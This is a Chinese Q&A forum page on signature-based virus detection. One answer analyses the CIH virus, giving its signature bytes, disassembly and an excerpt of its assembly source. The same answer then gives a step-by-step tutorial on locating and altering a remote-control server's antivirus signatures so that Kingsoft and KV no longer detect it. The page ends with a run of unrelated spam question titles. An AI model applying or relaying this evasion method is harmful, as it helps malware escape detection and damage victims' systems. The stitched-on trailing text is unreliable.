问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

关于特征码识别计算机病毒方法

发布网友 发布时间:2022-04-25 03:14

我来回答

3个回答

热心网友 时间:2023-08-01 21:23

病毒的产生速度很快,依然有很多病毒没有被识别.但是现在主要还是用特征码来识别病毒,一般的杀毒软件都是用类似特征码来识别并查杀病毒。
第一节 特点
病毒绕过了微软提供的应用程序界面,绕过了ActiveX、C++甚至C,使用汇编,
利用VxD(虚拟设备驱动程序)接口编程,直接杀入Windows内核。它没有改变宿主文件
的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack),
将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多
BIOS芯片开放了可重写的特性,向计算机主板的BIOS端口写入乱码,开创了病毒直接进
攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。
第二节 CIH病毒的初始化
1.用SIDT指令取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
2.执行INT 3指令,进入CIH自身的INT 3入口程序,这样,CIH病毒就可以获得Windows最高级别的权限(Ring 0级),可在Windows的内核执行各种操作(如终止系统运行,直接对内存读写、截获各种中断、控制I/O端口等,这些操作在应用程序层Ring 3级是受到严格
*的)。病毒在这段程序中首先检查调试寄存器DR0的值是否为0,用以判断先前是否有CIH病毒已经驻留。
3.如果DR0的值不为0,则表示CIH病毒程式已驻留,病毒程序恢复原先的INT 3入口,然后正常退出INT3,跳到过程9;
4.如果DR0值为0,则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,请求系统分配2个PAGE大小的Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存。
5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合后放到申请到的内存空间中;
6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序,调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的操作,这样一旦系统出现要求开启文件的调用,则CIH病毒的传染部分程序就会在第一时间截获此文件;
7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中,以便于CIH病毒调用;
8.恢复原先的IDT中断表中的INT 3入口,退出INT 3;
9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常

第三节 病毒发作条件判断

在CIHv1.4中,病毒的发作日期是4月26日,病毒从COMS的70、71端口取出系统当前日期,对其进行判断:

MOV AX,0708
OUT 70,AL
IN AL,71 取当前系统月份->AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取当前系统日->AL
XOR AX,0426 是否为4月26日
JZ 病毒发作程序

之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。
第四节 病毒的破坏
1.通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块(boot block)内各写入一个字节的乱码,造成主机无法启动。
随着闪存(FlashMemory)价格的下跌,奔腾机器上BIOS普遍采用PROM(可编程只读存储器),它可以在12伏以下的电压下利用软件的方式,从BIOS端口中读出和写入数据,以便于进行程序的升级。CIH病毒正是利用闪存的这一特性,往BIOS里写入乱码,造成BIOS中的原内容被会彻底破坏,主机无法启动。
所幸的是,CIH只能对少数类型的主板BIOS构成威胁。这是因为,BIOS的软件更新是通过直接写端口实现的,而不同主
板的BIOS端口地址各不相同。现在出现的CIH只有1K,程序量太小,还不可能存储大量的主板和BIOS端口数据。它只对
端口地址为0CFEH和0CFD的BIOS(据有关资料为Intel 430TX chipset、部分Pentium chipsets)进行攻击
2.覆盖硬盘
通过调用Vxd call IOS_SendCommand直接对硬盘进行存取,将垃圾代码以2048个扇区为单位,从硬盘主引导区开始依
次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。

特征码:
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83

偏移位置:0x240

*长度:0x40

反汇编代码:

00400240 > 55 PUSH EBP
00400241 8D4424 F8 LEA EAX,DWORD PTR SS:[ESP-8]
00400245 33DB XOR EBX,EBX
00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX
0040024A E8 00000000 CALL Win95_ci.0040024F
0040024F 5B POP EBX
00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]
00400253 51 PUSH ECX
00400254 50 PUSH EAX
00400255 50 PUSH EAX
00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] ; 用SIDT指令取得IDT base address(中断描述符表基地址),
; 然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
0040025B 5B POP EBX
0040025C 83C3 1C ADD EBX,1C
0040025F FA CLI
00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]
00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]
00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]
00400269 56 PUSH ESI
0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI
0040026E C1EE 10 SHR ESI,10
00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI
00400275 5E POP ESI
00400276 CC INT3 ; 执行INT 3指令,进入CIH自身的INT 3入口程序,获得权限(Ring 0级),
00400277 56 PUSH ESI
00400278 8BF0 MOV ESI,EAX
0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]
0040027D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040027F 83E8 08 SUB EAX,8
与1.3版本匹配,源病毒初始代码如下:

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; *************************************
pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException

ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

; *************************************
; * Generate Exception Again *
; *************************************

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

; *************************************
; * Return Original App to Execute *
; *************************************

文档:

http://www.yuanmawang.com/Download.asp?ID=5543&sID=1

音频:

http://download1.77169.com/donghua/other/12-11.zip

今天讲一下怎么改病毒的特征码,让它不被杀毒软件杀掉,就拿hgzvip1.2没有配置的服务端为例子

现在能被金山认识出来!

一般从程序的入口开始找特征码
4bdf68是内存的虚拟地址
bd368就是文件的相对偏移地址

现在查不出了,就说明特征码就在刚在的那一片
刚才我们填充的是120,现在就取它的一半90

范围更小了
再取90的一半
哈,范围更小了
再取48的一半
运气真好,就是这一段了,我们可以把范围更精确一点
有毒,说明不是这一段,go on,go on,go on,
查不到了,就说明是从bd376这里左右开始的
反编译原来的文件看一下,搞错了,应该用原来的文件

我们就从这里改,先看懂这里程序的意思
xor eax,eax 是把eax清为0
那么后面的两句程序的意思也是把内存地址清0,就是这两句。
我们把它的先后顺序换一下就可以了,这两句就ec和e8不同,我们换一下它们的先后顺序。
对应的文件就是这里,查一下还会不会被金山认出,哈哈,它不认识了!
但是还会被kv认出,所以我们得继续,把kv识别的特征也得改了,
方法和这里是一样的,我就不继续了。
关键点在于找到特征码之后,不能乱改,一定要把程序的意思看懂了,不然程序可能出错的。

参考资料:http://blog.csdn.net/lost_hunter/archive/2007/04/10/1559275.aspx

热心网友 时间:2023-08-01 21:24

把各种病毒的特征码记会,再把各文件反编译,再看看哪个文件的代码像某个病毒,就可以人工特征码手工查毒了。估计只有傻子才会这样做

热心网友 时间:2023-08-01 21:24

到黑客网学习吧!
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
狗患肠炎怎么治 狗狗结肠炎症状及治疗(便秘性结肠炎的症状及治疗) 【干货】如何翻译商务英语中的数词 一年级数量词组成的短语 abs和pp材质食用哪个好 abs塑料是食品级的吗 食品级abs塑料宝宝可以用吗 把实际长度扩大400倍后画在图纸上,比例尺是400:1.___(判断对错) 原来图纸的比例尺是1:1000000,把图纸放大16倍新图的比例尺是多少? 把实际长度扩达400倍后画在图纸上,比例尺是1:400? ( ) 对或错 把实际距离缩小500倍后画在图纸上,比例尺为500:1.___.(判断对错) 信令点编码的信令点编码的格式转换 请问内存 硬盘和CPU之间的关系是什么?请高手详细点说..... 谢谢了! 对方把你设为星标朋友你把他删除后会有显示的吗? 2020广州车展丨这6款新车必须看! 创新7.1 SB0610声卡.可以安装 KX驱动吗? 微信朋友圈里,给朋友设为星标是不是别人就看不见我发的信息了 JEEP指南者将推新车型,新车型有什么亮点? 我的配置3D MARK 06 跑分如何? 微信里,把一个好友设为星标朋友她会知道么? 我把微信里的一个好友设为星标朋友,对方知道吗 怎么把DSP输出的3.3VPWM变成12VPWM波,要有电路或芯片 微信的星标朋友有什么功能?是他更新了朋友圈我会,收到有提示还是什么... 步科4424te以太网支持西门子plc吗 怎么知道微信谁星标我? 跪求关于《半导体激光器脉冲触发系统设计》方面的一些资料和相关论文 ...会有提示吗,设置后ta是否会知道别人设ta为星标朋友? TC4424能用什么代换? tc4422和tc4424的区别 如何在word中输入病句修改符号 在word怎么改变特殊符号的大小? 要把 七号信令 转成SIP 或者 PRI,请问应该选什么样的七号信令网关? CE信令转换设备支持不同厂家的数字通信设备吗?兼容性怎么样? 谁知道有比较完美的windows xp sp2安装程序 信令转换器报价 用察言观色造句 关于Vista系统设置 麦克风 关于24位信令点编码的问题。 察言观色和挑逗怎样造句察言观色和挑逗怎样造句,分别 玩子弹风暴跳出FATAL ERROR - EXITING是什么意思 听说是更新驱动 给的网址不知道点那个啊 纠结 数字中继转IP线路,用啥设备可以转? 察颜观色是什么意思? 信令是什么意思signaling point 用神机妙算和察言观色造句 共享理念的实质是什么? 请问LSTP和HSTP各是什么东西 wcdma中载波 信道 信令 帧 时隙 码道 码片 之间的关系 “三个言字,从左向右三种颜色”打一成语是什么? ISDN的工作原理是什么? 从他人行为上发现他的性格的四字成语? 成语先( )为快、( )言观色、( )风使舵,括号中填什么字?